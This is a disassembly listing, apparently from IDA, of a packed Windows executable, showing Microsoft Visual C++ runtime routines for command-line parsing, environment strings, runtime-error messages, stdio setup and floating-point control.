near ; CODE XREF: sub_410B5C+8Ep push ebx xor ebx, ebx cmp dword_4BB8F0, ebx push esi push edi jnz short loc_4162F8 call sub_416064 loc_4162F8: ; CODE XREF: sub_4162E6+Bj mov esi, dword_4BA2D0 xor edi, edi loc_416300: ; CODE XREF: sub_4162E6+30j mov al, [esi] cmp al, bl jz short loc_416318 cmp al, 3Dh jz short loc_41630B inc edi loc_41630B: ; CODE XREF: sub_4162E6+22j push esi call sub_40E730 pop ecx lea esi, [esi+eax+1] jmp short loc_416300 ; --------------------------------------------------------------------------- loc_416318: ; CODE XREF: sub_4162E6+1Ej lea eax, ds:4[edi*4] push eax call sub_40E882 mov esi, eax pop ecx cmp esi, ebx mov dword_4BA2AC, esi jnz short loc_41633A push 9 call sub_410C52 pop ecx loc_41633A: ; CODE XREF: sub_4162E6+4Aj mov edi, dword_4BA2D0 cmp [edi], bl jz short loc_41637D push ebp loc_416345: ; CODE XREF: sub_4162E6+94j push edi call sub_40E730 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_416376 push ebp call sub_40E882 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_416369 push 9 call sub_410C52 pop ecx loc_416369: ; CODE XREF: sub_4162E6+79j push edi push dword ptr [esi] call sub_40ED20 pop ecx add esi, 4 pop ecx loc_416376: ; CODE XREF: sub_4162E6+6Cj add edi, ebp cmp [edi], bl jnz short loc_416345 pop ebp loc_41637D: ; CODE XREF: sub_4162E6+5Cj push dword_4BA2D0 call sub_40ECAF pop ecx mov dword_4BA2D0, ebx mov [esi], ebx pop edi pop esi mov dword_4BB8EC, 1 pop ebx retn sub_4162E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41639F proc near ; CODE XREF: sub_410B5C+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4BB8F0, ebx push esi push edi jnz short loc_4163B6 call sub_416064 loc_4163B6: ; CODE XREF: sub_41639F+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_41A078 ; GetModuleFileNameA mov eax, dword_4BB8E8 mov off_4BA2BC, esi mov edi, esi cmp [eax], bl jz short loc_4163DB mov edi, eax loc_4163DB: ; CODE XREF: sub_41639F+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_416438 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_40E882 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41640B push 8 call sub_410C52 pop ecx loc_41640B: ; CODE XREF: sub_41639F+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_416438 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4BA2A4, esi pop edi pop esi mov dword_4BA2A0, eax pop ebx leave retn sub_41639F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416438 proc near ; CODE XREF: sub_41639F+47p ; sub_41639F+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_416462 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_416462: ; CODE XREF: sub_416438+20j cmp byte ptr [eax], 22h jnz short loc_4164AB loc_416467: ; CODE XREF: sub_416438+58j ; sub_416438+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_416499 test dl, dl jz short loc_416499 movzx edx, dl test byte_4BB6A1[edx], 4 jz short loc_41648C inc dword ptr [ecx] test esi, esi jz short loc_41648C mov dl, [eax] mov [esi], dl inc esi inc eax loc_41648C: ; CODE XREF: sub_416438+46j ; sub_416438+4Cj inc dword ptr [ecx] test esi, esi jz short loc_416467 mov dl, [eax] mov [esi], dl inc esi jmp short loc_416467 ; --------------------------------------------------------------------------- loc_416499: ; CODE XREF: sub_416438+36j ; sub_416438+3Aj inc dword ptr [ecx] test esi, esi jz short loc_4164A3 and byte ptr [esi], 0 inc esi loc_4164A3: ; CODE XREF: sub_416438+65j cmp byte ptr [eax], 22h jnz short loc_4164EE inc eax jmp short loc_4164EE ; --------------------------------------------------------------------------- loc_4164AB: ; CODE XREF: sub_416438+2Dj ; sub_416438+A5j inc dword ptr [ecx] test esi, esi jz short loc_4164B6 mov dl, [eax] mov [esi], dl inc esi loc_4164B6: ; CODE XREF: sub_416438+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4BB6A1[ebx], 4 jz short loc_4164D1 inc dword ptr [ecx] test esi, esi jz short loc_4164D0 mov bl, [eax] mov [esi], bl inc esi loc_4164D0: ; CODE XREF: sub_416438+91j inc eax loc_4164D1: ; CODE XREF: sub_416438+8Bj cmp dl, 20h jz short loc_4164DF test dl, dl jz short loc_4164E3 cmp dl, 9 jnz short loc_4164AB loc_4164DF: ; CODE XREF: sub_416438+9Cj test dl, dl jnz short loc_4164E6 loc_4164E3: ; CODE XREF: sub_416438+A0j dec eax jmp short loc_4164EE ; --------------------------------------------------------------------------- loc_4164E6: ; CODE XREF: sub_416438+A9j test esi, esi jz short loc_4164EE and byte ptr [esi-1], 0 loc_4164EE: ; CODE XREF: sub_416438+6Ej ; sub_416438+71j ... and [ebp+arg_10], 0 loc_4164F2: ; CODE XREF: sub_416438+19Ej cmp byte ptr [eax], 0 jz loc_4165DB loc_4164FB: ; CODE XREF: sub_416438+D0j mov dl, [eax] cmp dl, 20h jz short loc_416507 cmp dl, 9 jnz short loc_41650A loc_416507: ; CODE XREF: sub_416438+C8j inc eax jmp short loc_4164FB ; --------------------------------------------------------------------------- loc_41650A: ; CODE XREF: sub_416438+CDj cmp byte ptr [eax], 0 jz loc_4165DB test edi, edi jz short loc_41651F mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41651F: ; CODE XREF: sub_416438+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_416524: ; CODE XREF: sub_416438+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41652D: ; CODE XREF: sub_416438+FCj cmp byte ptr [eax], 5Ch jnz short loc_416536 inc eax inc ebx jmp short loc_41652D ; --------------------------------------------------------------------------- loc_416536: ; CODE XREF: sub_416438+F8j cmp byte ptr [eax], 22h jnz short loc_416567 test bl, 1 jnz short loc_416565 xor edi, edi cmp [ebp+arg_10], edi jz short loc_416554 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_416554 mov eax, edx jmp short loc_416557 ; --------------------------------------------------------------------------- loc_416554: ; CODE XREF: sub_416438+10Dj ; sub_416438+116j mov [ebp+arg_0], edi loc_416557: ; CODE XREF: sub_416438+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_416565: ; CODE XREF: sub_416438+106j shr ebx, 1 loc_416567: ; CODE XREF: sub_416438+101j mov edx, ebx dec ebx test edx, edx jz short loc_41657C inc ebx loc_41656F: ; CODE XREF: sub_416438+142j test esi, esi jz short loc_416577 mov byte ptr [esi], 5Ch inc esi loc_416577: ; CODE XREF: sub_416438+139j inc dword ptr [ecx] dec ebx jnz short loc_41656F loc_41657C: ; CODE XREF: sub_416438+134j mov dl, [eax] test dl, dl jz short loc_4165CC cmp [ebp+arg_10], 0 jnz short loc_416592 cmp dl, 20h jz short loc_4165CC cmp dl, 9 jz short loc_4165CC loc_416592: ; CODE XREF: sub_416438+14Ej cmp [ebp+arg_0], 0 jz short loc_4165C6 test esi, esi jz short loc_4165B5 movzx ebx, dl test byte_4BB6A1[ebx], 4 jz short loc_4165AE mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_4165AE: ; CODE XREF: sub_416438+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4165C4 ; --------------------------------------------------------------------------- loc_4165B5: ; CODE XREF: sub_416438+162j movzx edx, dl test byte_4BB6A1[edx], 4 jz short loc_4165C4 inc eax inc dword ptr [ecx] loc_4165C4: ; CODE XREF: sub_416438+17Bj ; sub_416438+187j inc dword ptr [ecx] loc_4165C6: ; CODE XREF: sub_416438+15Ej inc eax jmp loc_416524 ; --------------------------------------------------------------------------- loc_4165CC: ; CODE XREF: sub_416438+148j ; sub_416438+153j ... test esi, esi jz short loc_4165D4 and byte ptr [esi], 0 inc esi loc_4165D4: ; CODE XREF: sub_416438+196j inc dword ptr [ecx] jmp loc_4164F2 ; --------------------------------------------------------------------------- loc_4165DB: ; CODE XREF: sub_416438+BDj ; sub_416438+D5j test edi, edi jz short loc_4165E2 and dword ptr [edi], 0 loc_4165E2: ; CODE XREF: sub_416438+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_416438 endp ; =============== S U B R O U T I N E ======================================= sub_4165EC proc near ; CODE XREF: sub_410B5C+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4BA438 push ebx push ebp mov ebp, dword_41A030 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41663A call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41661B mov dword_4BA438, 1 jmp short loc_416643 ; --------------------------------------------------------------------------- loc_41661B: ; CODE XREF: sub_4165EC+21j call dword_41A034 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_416715 mov dword_4BA438, 2 jmp loc_4166C9 ; --------------------------------------------------------------------------- loc_41663A: ; CODE XREF: sub_4165EC+19j cmp eax, 1 jnz loc_4166C4 loc_416643: ; CODE XREF: sub_4165EC+2Dj cmp esi, ebx jnz short loc_416653 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_416715 loc_416653: ; CODE XREF: sub_4165EC+59j cmp [esi], bx mov eax, esi jz short loc_416668 loc_41665A: ; CODE XREF: sub_4165EC+73j ; sub_4165EC+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41665A inc eax inc eax cmp [eax], bx jnz short loc_41665A loc_416668: ; CODE XREF: sub_4165EC+6Cj sub eax, esi mov edi, dword_41A058 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_4166B9 push ebp call sub_40E882 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_4166B9 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_4166B5 push [esp+18h+var_8] call sub_40ECAF pop ecx mov [esp+18h+var_8], ebx loc_4166B5: ; CODE XREF: sub_4165EC+B9j mov ebx, [esp+18h+var_8] loc_4166B9: ; CODE XREF: sub_4165EC+99j ; sub_4165EC+A8j push esi call dword_41A038 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_416717 ; --------------------------------------------------------------------------- loc_4166C4: ; CODE XREF: sub_4165EC+51j cmp eax, 2 jnz short loc_416715 loc_4166C9: ; CODE XREF: sub_4165EC+49j cmp edi, ebx jnz short loc_4166D9 call dword_41A034 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_416715 loc_4166D9: ; CODE XREF: sub_4165EC+DFj cmp [edi], bl mov eax, edi jz short loc_4166E9 loc_4166DF: ; CODE XREF: sub_4165EC+F6j ; sub_4165EC+FBj inc eax cmp [eax], bl jnz short loc_4166DF inc eax cmp [eax], bl jnz short loc_4166DF loc_4166E9: ; CODE XREF: sub_4165EC+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_40E882 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4166FF xor esi, esi jmp short loc_41670A ; --------------------------------------------------------------------------- loc_4166FF: ; CODE XREF: sub_4165EC+10Dj push ebp push edi push esi call sub_40E940 add esp, 0Ch loc_41670A: ; CODE XREF: sub_4165EC+111j push edi call dword_41A03C ; FreeEnvironmentStringsA mov eax, esi jmp short loc_416717 ; --------------------------------------------------------------------------- loc_416715: ; CODE XREF: sub_4165EC+39j ; sub_4165EC+61j ... xor eax, eax loc_416717: ; CODE XREF: sub_4165EC+D6j ; sub_4165EC+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4165EC endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416728 proc near ; DATA XREF: sub_410B5C+Ao ; sub_413A57+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_4167C8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41675B: ; CODE XREF: sub_416728+90j cmp esi, 0FFFFFFFFh jz short loc_4167C1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_4167AF push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_4167AF js short loc_4167BA mov edi, [ebx+8] push ebx call sub_40F360 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_40F3A2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_40F436 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_4167AF: ; CODE XREF: sub_416728+40j ; sub_416728+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41675B ; --------------------------------------------------------------------------- loc_4167BA: ; CODE XREF: sub_416728+54j mov eax, 0 jmp short loc_4167DD ; --------------------------------------------------------------------------- loc_4167C1: ; CODE XREF: sub_416728+36j mov eax, 1 jmp short loc_4167DD ; --------------------------------------------------------------------------- loc_4167C8: ; CODE XREF: sub_416728+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_40F3A2 add esp, 8 pop ebp mov eax, 1 loc_4167DD: ; CODE XREF: sub_416728+97j ; sub_416728+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416728 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_40F3A2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_416800 proc near ; CODE XREF: sub_410C52+9p ; sub_410C77+9p mov eax, dword_4BA2D8 cmp eax, 1 jz short loc_416817 test eax, eax jnz short locret_416838 cmp dword_422094, 1 jnz short locret_416838 loc_416817: ; CODE XREF: sub_416800+8j push 0FCh call sub_416839 mov eax, dword_4BA43C pop ecx test eax, eax jz short loc_41682D call eax loc_41682D: ; CODE XREF: sub_416800+29j push 0FFh call sub_416839 pop ecx locret_416838: ; CODE XREF: sub_416800+Cj ; sub_416800+15j retn sub_416800 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416839 proc near ; CODE XREF: sub_410C52+12p ; sub_410C77+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4245C8 loc_41684C: ; CODE XREF: sub_416839+20j cmp edx, [eax] jz short loc_41685B add eax, 8 inc ecx cmp eax, offset off_424658 jl short loc_41684C loc_41685B: ; CODE XREF: sub_416839+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4245C8[esi] jnz loc_416989 mov eax, dword_4BA2D8 cmp eax, 1 jz loc_416963 test eax, eax jnz short loc_41688C cmp dword_422094, 1 jz loc_416963 loc_41688C: ; CODE XREF: sub_416839+44j cmp edx, 0FCh jz loc_416989 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_41A078 ; GetModuleFileNameA test eax, eax jnz short loc_4168C3 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_40ED20 pop ecx pop ecx loc_4168C3: ; CODE XREF: sub_416839+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_40E730 inc eax pop ecx cmp eax, 3Ch jbe short loc_416906 lea eax, [ebp+var_1A4] push eax call sub_40E730 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_410090 add esp, 10h loc_416906: ; CODE XREF: sub_416839+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_40ED20 lea eax, [ebp+var_A0] push edi push eax call sub_40ED30 lea eax, [ebp+var_A0] push offset asc_41A7D4 ; "\n\n" push eax call sub_40ED30 push off_4245CC[esi] lea eax, [ebp+var_A0] push eax call sub_40ED30 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_418081 add esp, 2Ch pop edi jmp short loc_416989 ; --------------------------------------------------------------------------- loc_416963: ; CODE XREF: sub_416839+3Cj ; sub_416839+4Dj lea eax, [ebp+arg_0] lea esi, off_4245CC[esi] push 0 push eax push dword ptr [esi] call sub_40E730 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_41A16C ; GetStdHandle push eax call dword_41A06C ; WriteFile loc_416989: ; CODE XREF: sub_416839+2Ej ; sub_416839+59j ... pop esi leave retn sub_416839 endp ; =============== S U B R O U T I N E ======================================= sub_41698C proc near ; CODE XREF: sub_410C9B+6Cp ; sub_4150E6+32p ... arg_0 = dword ptr 4 inc dword_4BA440 push 1000h call sub_40E882 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_4169B5 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_4169C6 ; --------------------------------------------------------------------------- loc_4169B5: ; CODE XREF: sub_41698C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_4169C6: ; CODE XREF: sub_41698C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41698C endp ; =============== S U B R O U T I N E ======================================= sub_4169D0 proc near ; CODE XREF: sub_410C9B+61p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4BB8C0 jb short loc_4169DF xor eax, eax retn ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4169D0+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4BB7C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_4169D0 endp ; =============== S U B R O U T I N E ======================================= sub_4169F6 proc near ; DATA XREF: .packed:0041C018o mov eax, dword_4BB580 push esi push 14h test eax, eax pop esi jnz short loc_416A0A mov eax, 200h jmp short loc_416A10 ; --------------------------------------------------------------------------- loc_416A0A: ; CODE XREF: sub_4169F6+Bj cmp eax, esi jge short loc_416A15 mov eax, esi loc_416A10: ; CODE XREF: sub_4169F6+12j mov dword_4BB580, eax loc_416A15: ; CODE XREF: sub_4169F6+16j push 4 push eax call sub_41810A pop ecx mov dword_4BA570, eax test eax, eax pop ecx jnz short loc_416A49 push 4 push esi mov dword_4BB580, esi call sub_41810A pop ecx mov dword_4BA570, eax test eax, eax pop ecx jnz short loc_416A49 push 1Ah call sub_410C52 pop ecx loc_416A49: ; CODE XREF: sub_4169F6+30j ; sub_4169F6+49j xor ecx, ecx mov eax, offset off_424658 loc_416A50: ; CODE XREF: sub_4169F6+6Ej mov edx, dword_4BA570 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_4248D8 jl short loc_416A50 xor edx, edx mov ecx, offset dword_424668 loc_416A6D: ; CODE XREF: sub_4169F6+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4BB7C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_416A8A test eax, eax jnz short loc_416A8D loc_416A8A: ; CODE XREF: sub_4169F6+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_416A8D: ; CODE XREF: sub_4169F6+92j add ecx, 20h inc edx cmp ecx, offset dword_4246C8 jl short loc_416A6D pop esi retn sub_4169F6 endp ; =============== S U B R O U T I N E ======================================= sub_416A9B proc near ; DATA XREF: .packed:0041C028o ; FUNCTION CHUNK AT 004181BB SIZE 00000058 BYTES call sub_415070 cmp byte_4BA2C4, 0 jz short locret_416AAE jmp loc_4181BB ; --------------------------------------------------------------------------- locret_416AAE: ; CODE XREF: sub_416A9B+Cj retn sub_416A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AAF proc near ; CODE XREF: sub_410DB0+2D4p ; sub_410DB0+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_416ABB pop ebp retn ; --------------------------------------------------------------------------- loc_416ABB: ; CODE XREF: sub_416AAF+8j cmp dword_4BA314, 0 jnz short loc_416AD6 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_416B08 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_416AD6: ; CODE XREF: sub_416AAF+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_424430 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4BA324 call dword_41A058 ; WideCharToMultiByte test eax, eax jz short loc_416B08 cmp [ebp+arg_0], 0 jz short loc_416B15 loc_416B08: ; CODE XREF: sub_416AAF+1Ej ; sub_416AAF+51j mov dword_4BA284, 2Ah or eax, 0FFFFFFFFh loc_416B15: ; CODE XREF: sub_416AAF+57j pop ebp retn sub_416AAF endp ; =============== S U B R O U T I N E ======================================= sub_416B17 proc near ; CODE XREF: sub_412F70+52p xor eax, eax retn sub_416B17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B1A proc near ; CODE XREF: sub_416B4F+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_416B65 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_416BF7 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_416B1A endp ; =============== S U B R O U T I N E ======================================= sub_416B4F proc near ; CODE XREF: sub_41325C+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_416B1A pop ecx pop ecx retn sub_416B4F endp ; =============== S U B R O U T I N E ======================================= sub_416B65 proc near ; CODE XREF: sub_416B1A+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_416B76 push 10h pop eax loc_416B76: ; CODE XREF: sub_416B65+Cj test bl, 4 jz short loc_416B7D or al, 8 loc_416B7D: ; CODE XREF: sub_416B65+14j test bl, 8 jz short loc_416B84 or al, 4 loc_416B84: ; CODE XREF: sub_416B65+1Bj test bl, 10h jz short loc_416B8B or al, 2 loc_416B8B: ; CODE XREF: sub_416B65+22j test bl, 20h jz short loc_416B92 or al, 1 loc_416B92: ; CODE XREF: sub_416B65+29j test bl, 2 jz short loc_416B9C or eax, 80000h loc_416B9C: ; CODE XREF: sub_416B65+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_416BD4 cmp edx, 400h jz short loc_416BD1 cmp edx, 800h jz short loc_416BCD cmp edx, esi jnz short loc_416BD4 or eax, edi jmp short loc_416BD4 ; --------------------------------------------------------------------------- loc_416BCD: ; CODE XREF: sub_416B65+5Ej or eax, ebp jmp short loc_416BD4 ; --------------------------------------------------------------------------- loc_416BD1: ; CODE XREF: sub_416B65+56j or ah, 1 loc_416BD4: ; CODE XREF: sub_416B65+4Ej ; sub_416B65+62j ... and ecx, edi pop esi jz short loc_416BE4 cmp ecx, ebp jnz short loc_416BE9 or eax, 10000h jmp short loc_416BE9 ; --------------------------------------------------------------------------- loc_416BE4: ; CODE XREF: sub_416B65+72j or eax, 20000h loc_416BE9: ; CODE XREF: sub_416B65+76j ; sub_416B65+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_416BF6 or eax, 40000h locret_416BF6: ; CODE XREF: sub_416B65+8Aj retn sub_416B65 endp ; =============== S U B R O U T I N E ======================================= sub_416BF7 proc near ; CODE XREF: sub_416B1A+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_416C07 push 1 pop eax loc_416C07: ; CODE XREF: sub_416BF7+Bj test bl, 8 jz short loc_416C0E or al, 4 loc_416C0E: ; CODE XREF: sub_416BF7+13j test bl, 4 jz short loc_416C15 or al, 8 loc_416C15: ; CODE XREF: sub_416BF7+1Aj test bl, 2 jz short loc_416C1C or al, 10h loc_416C1C: ; CODE XREF: sub_416BF7+21j test bl, 1 jz short loc_416C23 or al, 20h loc_416C23: ; CODE XREF: sub_416BF7+28j test ebx, 80000h jz short loc_416C2D or al, 2 loc_416C2D: ; CODE XREF: sub_416BF7+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_416C5A cmp ecx, 100h jz short loc_416C57 cmp ecx, esi jz short loc_416C52 cmp ecx, edx jnz short loc_416C5A or ah, 0Ch jmp short loc_416C5A ; --------------------------------------------------------------------------- loc_416C52: ; CODE XREF: sub_416BF7+50j or ah, 8 jmp short loc_416C5A ; --------------------------------------------------------------------------- loc_416C57: ; CODE XREF: sub_416BF7+4Cj or ah, 4 loc_416C5A: ; CODE XREF: sub_416BF7+44j ; sub_416BF7+54j ... mov ecx, ebx and ecx, 30000h jz short loc_416C70 cmp ecx, 10000h jnz short loc_416C72 or eax, esi jmp short loc_416C72 ; --------------------------------------------------------------------------- loc_416C70: ; CODE XREF: sub_416BF7+6Bj or eax, edx loc_416C72: ; CODE XREF: sub_416BF7+73j ; sub_416BF7+77j pop esi test ebx, 40000h pop ebx jz short locret_416C7F or ah, 10h locret_416C7F: ; CODE XREF: sub_416BF7+83j retn sub_416BF7 endp ; =============== S U B R O U T I N E ======================================= sub_416C80 proc near ; CODE XREF: sub_416D1F+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_416CC5 inc esi cmp esi, 3 jge short loc_416CC0 lea eax, [eax+esi*4] loc_416CB2: ; CODE XREF: sub_416C80+3Ej cmp dword ptr [eax], 0 jnz short loc_416CC5 inc esi add eax, 4 cmp esi, 3 jl short loc_416CB2 loc_416CC0: ; CODE XREF: sub_416C80+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_416CC5: ; CODE XREF: sub_416C80+27j ; sub_416C80+35j xor eax, eax pop esi retn sub_416C80 endp ; =============== S U B R O U T I N E ======================================= sub_416CC9 proc near ; CODE XREF: sub_416D1F+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_418213 add esp, 0Ch dec esi js short loc_416D1B lea edi, [ebx+esi*4] loc_416D02: ; CODE XREF: sub_416CC9+50j test eax, eax jz short loc_416D1B push edi push 1 push dword ptr [edi] call sub_418213 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_416D02 loc_416D1B: ; CODE XREF: sub_416CC9+34j ; sub_416CC9+3Bj pop edi pop esi pop ebx retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D1F proc near ; CODE XREF: sub_416E7A+81p ; sub_416E7A+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl 